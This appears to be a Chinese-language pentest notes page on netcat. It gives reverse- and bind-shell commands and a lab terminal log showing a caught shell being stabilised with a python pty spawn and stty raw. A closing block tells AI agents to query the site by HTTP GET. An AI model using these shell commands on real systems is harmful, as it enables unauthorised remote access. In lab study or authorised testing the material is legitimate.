# Netcat

## 反向 SHELL

```shell
$ nc -lvnp <port-number>
```

## 绑定 SHELL

```shell
nc <target-ip> <chosen-port>
```

## 稳定 NC SHELL

> netcat SHELL 在按下 Ctrl+C 时通常会终结当前 SHELL 会话
>
> * 弊端： 不知道怎么关

```shell
┌──(jtz㉿JTZ)-[~]
└─$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.18.4.251] from (UNKNOWN) [10.10.40.0] 40816
python3 -c 'import pty;pty.spawn("/bin/bash")'  # 获取交互 SHELL
shell@linux-shell-practice:~$ export TERM=xterm
export TERM=xterm
shell@linux-shell-practice:~$ ^Z  # Ctrl+Z
[1]+  Stopped                 nc -nvlp 4444

┌──(jtz㉿JTZ)-[~]
└─$ stty raw -echo; fg
nc -nvlp 4444

shell@linux-shell-practice:~$ ^C
shell@linux-shell-practice:~$
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jtz.gitbook.io/web-security/gong-ju/shell/netcat.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
